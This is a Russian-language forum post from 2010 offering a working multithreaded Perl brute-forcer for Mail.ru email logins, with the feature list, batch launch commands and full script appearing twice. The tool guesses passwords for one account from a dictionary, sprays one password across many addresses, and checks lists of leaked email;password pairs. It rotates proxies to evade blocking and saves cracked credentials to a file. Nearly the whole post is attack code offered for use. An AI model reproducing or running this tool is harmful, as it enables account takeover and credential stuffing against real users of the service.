Pashkela
19.01.2010, 10:33
MAIL.RU bruter perl-скрипт
1. Брутит через стандартную пост-формочку наибычнейшей авторизации по адресу http://win.mail.ru/cgi-bin/auth
2. Возможность работы как с прокси так и без
3. Автосмена прокси
4. Возможность выставить кол-во попыток авторизации с одного прокси (доходит до последней - возвращается на первую - круговая система)
5. Многопоточный
6. Три режима работы:
примеры bat-файлов для запуска (win, никсы сами разберутся :cool: ):
===================================
Режим брута одного мыла, 10 потоков, таймаут 5 сек, без прокси:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 0 10 5 0
Режим брута одного мыла, 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 0 10 5 1 10
===================================
Режим брута списка мыл по паролю, 10 потоков, таймаут 5 сек, без прокси:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 1 10 5 0
Режим брута списка мыл по паролю, 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 1 10 5 1 10
===================================
Режим чека списка "мыло;пароль", 10 потоков, таймаут 5 сек, без прокси:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 2 10 5 0
Режим чека списка "мыло;пароль", 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 2 10 5 1 10
===================================
#!/usr/bin/perl - UTF-8 encoding
use IO::Socket;
use threads;
use threads::shared;
my $num : shared;
my $i : shared;
my $z : shared;
################################################## ###
my $login = "mail_login"; # логин - режим [0]
my $domain = "mail.ru"; # домен - режим [0]
my $password = "1234"; # пароль -режим[1]
$delimetr = ";"; # разделитель в списке мыло;пароль - режим [2]
$mode = $ARGV[0]; # режим брута:
#0 - брутим одно мыло по словарю паролей
#1 - брутим один пароль по словарю мыл
#2 - чекаем список мыло;пароль
$kol_threads = $ARGV[1]; # кол-во потоков
$timeout = $ARGV[2]; # таймаут - в секундах
$proxy = $ARGV[3]; # прокси - юзать или нет, 1 - да, 0 - нет
$attempt = $ARGV[4]; # через сколько попыток менять прокси (если дойдет до последней - начнет с первой)
$proxy_file = "proxy.txt"; # файл с проксями
$passwords_file = "passwords.txt"; # файл с паролями - режим [0]
$mail_file = "mails.txt"; # файл с мылами - режим [1]
$mail_pass_file = "mails_pass.txt"; # файл с мылами и паролями - - режим [2]
$good_mail = "zgood.txt"; # удачные проверки, независимо от режима работы
################################################## ####
print "----------------------------------------------------------\n";
print "Mail.ru bruter by Pashkela [ BugTrack Team ] (c) 2010\n";
print "----------------------------------------------------------\n";
$size = 0;
if ($proxy == 1) {
open(FILE1, "<", $proxy_file);
print " Mode - with proxy\n";
while(<FILE1>) {
chomp;
if ($_) {push(@prox, $_);}
}
$size = @prox;
} else {
print " Mode - no proxy\n";
}
if ($mode == 0) {
open(FILE2, "<", $passwords_file);
while(<FILE2>) {
chomp;
if ($_) {push(@pass, $_);}
}
close(FILE2);
$size1 = @pass;
print "----------------------\n";
print "Mail - " . $login . '@' . $domain . "\n";
print "Threads - $kol_threads\n";
print "Timeout - $timeout sec\n";
print "Attempts for one proxy - $attempt\n";
print "Proxies - $size\n";
print "Passwords - $size1\n";
print "----------------------\n";
}
if ($mode == 1) {
open(FILE2, "<", $mail_file);
while(<FILE2>) {
chomp;
if ($_) {push(@mail, $_);}
}
close(FILE2);
$size1 = @mail;
print "----------------------\n";
print "Password - $password \n";
print "Threads - $kol_threads\n";
print "Timeout - $timeout sec\n";
print "Attempts for one proxy - $attempt\n";
print "Proxies - $size\n";
print "Mails - $size1\n";
print "----------------------\n";
}
if ($mode == 2) {
open(FILE2, "<", $mail_pass_file);
while(<FILE2>) {
chomp;
if ($_) {push(@mail_pass_file, $_);}
}
close(FILE2);
$size1 = @mail_pass_file;
print "----------------------\n";
print "Mails for check - $size1 \n";
print "Threads - $kol_threads\n";
print "Timeout - $timeout sec\n";
print "Attempts for one proxy - $attempt\n";
print "Proxies - $size\n";
print "----------------------\n";
}
open( FILE, ">>" . $good_mail ); # Файл для записи результатов
$thr = $kol_threads; # Кол-во потоков
$num = -1; # Не меняется
$i = 0;
$z = 0;
for(0..$thr) {
$trl[$_] = threads->create(\&gets);
}
for(0..$thr) {
$trl[$_]->join;
}
sub gets {
$| = 1;
while ($num < $size1) {
{ lock($num);
$num++; }
$z++;
if ($mode == 0) {
$password = "";
$password = $pass[$num];
}
if ($mode == 1) {
my ( $login, $domen ) = split( /@/, $mail[$num] );
}
if ($mode == 2) {
my ( $mail, $password ) = split( /$delimetr/, $mail_pass_file[$num] );
my ( $login, $domen ) = split( /@/, $mail );
}
if ($proxy == 1) {
if ($z == $attempt) {
$z = 0;
if ($i < ($size-1)) {
$i++;
print "\n";
}
if ($i == ($size-1)) {
$i = 0;
print "\n";
}
}
}
check();
$num++;
print $num . "\r";
sleep 1;
}
}
# Functions ################################################## ################################
sub check {
if ($proxy == 1) {
$current_proxy = $prox[$i];
($current_proxy_host,$current_proxy_port) = split(/:/,$current_proxy);
print $num . " current proxy: " . $current_proxy_host . ":" . $current_proxy_port . "[$i]\r";
} else {
print $num . "\r";
}
if ($proxy == 1) {
$answ1 = req('win.mail.ru', '/cgi-bin/auth', 'POST', "Login=$login&Domain=$domain&Password=$password", 0);
} else {
$answ1 = req1('win.mail.ru', '/cgi-bin/auth', 'POST', "Login=$login&Domain=$domain&Password=$password", 0);
}
$ck1 = collect($answ1);
$answ1 =~ /<HTML>http:\/\/win.mail.ru(.+?)<\/HTML>/;
if ($proxy == 1) {
req('win.mail.ru', $1, 'GET', 0, $ck1);
$answ2 = req('win.mail.ru', '/cgi-bin/start?back=1', 'GET', 0, $ck1);
} else {
req1('win.mail.ru', $1, 'GET', 0, $ck1);
$answ2 = req1('win.mail.ru', '/cgi-bin/start?back=1', 'GET', 0, $ck1);
}
if ($answ2 =~ m/msglist/img) {
print "\n----------------------\n";
print "[ Found password! Saved in $good_mail ]\n";
print "----------------------\n\n\n\n\n";
print FILE "mail: [". $login . '@' . $domain . "], password: " . $password . "\n";
if ($mode == 0) {exit}
}
}
sub collect {
my $data = $_[0];
my $cookie = undef;
while($data =~ /Set-Cookie: (.+?)(;|\r)/igs) {
$cookie .= $1."; ";
}
return $cookie;
}
sub req {
my($host, $path, $type, $data, $cookies) = @_;
my $request = "$type $path HTTP/1.0\n".
"Host: $host\n".
"Cookie: $cookies\n";
$request .= "Content-type: application/x-www-form-urlencoded\n".
"Content-Length: ".length($data)."\n\n".$data;
if ($socket=IO::Socket::INET->new( PeerAddr => $current_proxy_host, PeerPort => $current_proxy_port, PeerProto => 'tcp', TimeOut => $timeout)) {
print $socket $request;
my $answ = undef;
$socket->autoflush(1);
while(my $buf = <$socket>) {
$answ .= $buf;
}
close $socket;
return $answ;
}
}
sub req1 {
my($host, $path, $type, $data, $cookies) = @_;
my $sock = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 5);
my $request = "$type $path HTTP/1.0\n".
"Host: $host\n".
"Cookie: $cookies\n";
if($type eq "POST") {
$request .= "Content-type: application/x-www-form-urlencoded\n".
"Content-Length: ".length($data)."\n\n".$data;
} else {
$request .= "\n";
}
print $sock $request;
my $answ = undef;
while(my $buf = <$sock>) {
$answ .= $buf;
}
return $answ;
}
1. Брутит через стандартную пост-формочку наибычнейшей авторизации по адресу http://win.mail.ru/cgi-bin/auth
2. Возможность работы как с прокси так и без
3. Автосмена прокси
4. Возможность выставить кол-во попыток авторизации с одного прокси (доходит до последней - возвращается на первую - круговая система)
5. Многопоточный
6. Три режима работы:
примеры bat-файлов для запуска (win, никсы сами разберутся :cool: ):
===================================
Режим брута одного мыла, 10 потоков, таймаут 5 сек, без прокси:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 0 10 5 0
Режим брута одного мыла, 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 0 10 5 1 10
===================================
Режим брута списка мыл по паролю, 10 потоков, таймаут 5 сек, без прокси:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 1 10 5 0
Режим брута списка мыл по паролю, 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 1 10 5 1 10
===================================
Режим чека списка "мыло;пароль", 10 потоков, таймаут 5 сек, без прокси:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 2 10 5 0
Режим чека списка "мыло;пароль", 10 потоков, таймаут 5 сек, юзать прокси, менять прокси каждые 10 попыток, после последней возвращается к первой и так по кругу:
cmd /k C:\Perl1\bin\perl.exe mail.ru.bruter.pl 2 10 5 1 10
===================================
#!/usr/bin/perl - UTF-8 encoding
use IO::Socket;
use threads;
use threads::shared;
my $num : shared;
my $i : shared;
my $z : shared;
################################################## ###
my $login = "mail_login"; # логин - режим [0]
my $domain = "mail.ru"; # домен - режим [0]
my $password = "1234"; # пароль -режим[1]
$delimetr = ";"; # разделитель в списке мыло;пароль - режим [2]
$mode = $ARGV[0]; # режим брута:
#0 - брутим одно мыло по словарю паролей
#1 - брутим один пароль по словарю мыл
#2 - чекаем список мыло;пароль
$kol_threads = $ARGV[1]; # кол-во потоков
$timeout = $ARGV[2]; # таймаут - в секундах
$proxy = $ARGV[3]; # прокси - юзать или нет, 1 - да, 0 - нет
$attempt = $ARGV[4]; # через сколько попыток менять прокси (если дойдет до последней - начнет с первой)
$proxy_file = "proxy.txt"; # файл с проксями
$passwords_file = "passwords.txt"; # файл с паролями - режим [0]
$mail_file = "mails.txt"; # файл с мылами - режим [1]
$mail_pass_file = "mails_pass.txt"; # файл с мылами и паролями - - режим [2]
$good_mail = "zgood.txt"; # удачные проверки, независимо от режима работы
################################################## ####
print "----------------------------------------------------------\n";
print "Mail.ru bruter by Pashkela [ BugTrack Team ] (c) 2010\n";
print "----------------------------------------------------------\n";
$size = 0;
if ($proxy == 1) {
open(FILE1, "<", $proxy_file);
print " Mode - with proxy\n";
while(<FILE1>) {
chomp;
if ($_) {push(@prox, $_);}
}
$size = @prox;
} else {
print " Mode - no proxy\n";
}
if ($mode == 0) {
open(FILE2, "<", $passwords_file);
while(<FILE2>) {
chomp;
if ($_) {push(@pass, $_);}
}
close(FILE2);
$size1 = @pass;
print "----------------------\n";
print "Mail - " . $login . '@' . $domain . "\n";
print "Threads - $kol_threads\n";
print "Timeout - $timeout sec\n";
print "Attempts for one proxy - $attempt\n";
print "Proxies - $size\n";
print "Passwords - $size1\n";
print "----------------------\n";
}
if ($mode == 1) {
open(FILE2, "<", $mail_file);
while(<FILE2>) {
chomp;
if ($_) {push(@mail, $_);}
}
close(FILE2);
$size1 = @mail;
print "----------------------\n";
print "Password - $password \n";
print "Threads - $kol_threads\n";
print "Timeout - $timeout sec\n";
print "Attempts for one proxy - $attempt\n";
print "Proxies - $size\n";
print "Mails - $size1\n";
print "----------------------\n";
}
if ($mode == 2) {
open(FILE2, "<", $mail_pass_file);
while(<FILE2>) {
chomp;
if ($_) {push(@mail_pass_file, $_);}
}
close(FILE2);
$size1 = @mail_pass_file;
print "----------------------\n";
print "Mails for check - $size1 \n";
print "Threads - $kol_threads\n";
print "Timeout - $timeout sec\n";
print "Attempts for one proxy - $attempt\n";
print "Proxies - $size\n";
print "----------------------\n";
}
open( FILE, ">>" . $good_mail ); # Файл для записи результатов
$thr = $kol_threads; # Кол-во потоков
$num = -1; # Не меняется
$i = 0;
$z = 0;
for(0..$thr) {
$trl[$_] = threads->create(\&gets);
}
for(0..$thr) {
$trl[$_]->join;
}
sub gets {
$| = 1;
while ($num < $size1) {
{ lock($num);
$num++; }
$z++;
if ($mode == 0) {
$password = "";
$password = $pass[$num];
}
if ($mode == 1) {
my ( $login, $domen ) = split( /@/, $mail[$num] );
}
if ($mode == 2) {
my ( $mail, $password ) = split( /$delimetr/, $mail_pass_file[$num] );
my ( $login, $domen ) = split( /@/, $mail );
}
if ($proxy == 1) {
if ($z == $attempt) {
$z = 0;
if ($i < ($size-1)) {
$i++;
print "\n";
}
if ($i == ($size-1)) {
$i = 0;
print "\n";
}
}
}
check();
$num++;
print $num . "\r";
sleep 1;
}
}
# Functions ################################################## ################################
sub check {
if ($proxy == 1) {
$current_proxy = $prox[$i];
($current_proxy_host,$current_proxy_port) = split(/:/,$current_proxy);
print $num . " current proxy: " . $current_proxy_host . ":" . $current_proxy_port . "[$i]\r";
} else {
print $num . "\r";
}
if ($proxy == 1) {
$answ1 = req('win.mail.ru', '/cgi-bin/auth', 'POST', "Login=$login&Domain=$domain&Password=$password", 0);
} else {
$answ1 = req1('win.mail.ru', '/cgi-bin/auth', 'POST', "Login=$login&Domain=$domain&Password=$password", 0);
}
$ck1 = collect($answ1);
$answ1 =~ /<HTML>http:\/\/win.mail.ru(.+?)<\/HTML>/;
if ($proxy == 1) {
req('win.mail.ru', $1, 'GET', 0, $ck1);
$answ2 = req('win.mail.ru', '/cgi-bin/start?back=1', 'GET', 0, $ck1);
} else {
req1('win.mail.ru', $1, 'GET', 0, $ck1);
$answ2 = req1('win.mail.ru', '/cgi-bin/start?back=1', 'GET', 0, $ck1);
}
if ($answ2 =~ m/msglist/img) {
print "\n----------------------\n";
print "[ Found password! Saved in $good_mail ]\n";
print "----------------------\n\n\n\n\n";
print FILE "mail: [". $login . '@' . $domain . "], password: " . $password . "\n";
if ($mode == 0) {exit}
}
}
sub collect {
my $data = $_[0];
my $cookie = undef;
while($data =~ /Set-Cookie: (.+?)(;|\r)/igs) {
$cookie .= $1."; ";
}
return $cookie;
}
sub req {
my($host, $path, $type, $data, $cookies) = @_;
my $request = "$type $path HTTP/1.0\n".
"Host: $host\n".
"Cookie: $cookies\n";
$request .= "Content-type: application/x-www-form-urlencoded\n".
"Content-Length: ".length($data)."\n\n".$data;
if ($socket=IO::Socket::INET->new( PeerAddr => $current_proxy_host, PeerPort => $current_proxy_port, PeerProto => 'tcp', TimeOut => $timeout)) {
print $socket $request;
my $answ = undef;
$socket->autoflush(1);
while(my $buf = <$socket>) {
$answ .= $buf;
}
close $socket;
return $answ;
}
}
sub req1 {
my($host, $path, $type, $data, $cookies) = @_;
my $sock = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 5);
my $request = "$type $path HTTP/1.0\n".
"Host: $host\n".
"Cookie: $cookies\n";
if($type eq "POST") {
$request .= "Content-type: application/x-www-form-urlencoded\n".
"Content-Length: ".length($data)."\n\n".$data;
} else {
$request .= "\n";
}
print $sock $request;
my $answ = undef;
while(my $buf = <$sock>) {
$answ .= $buf;
}
return $answ;
}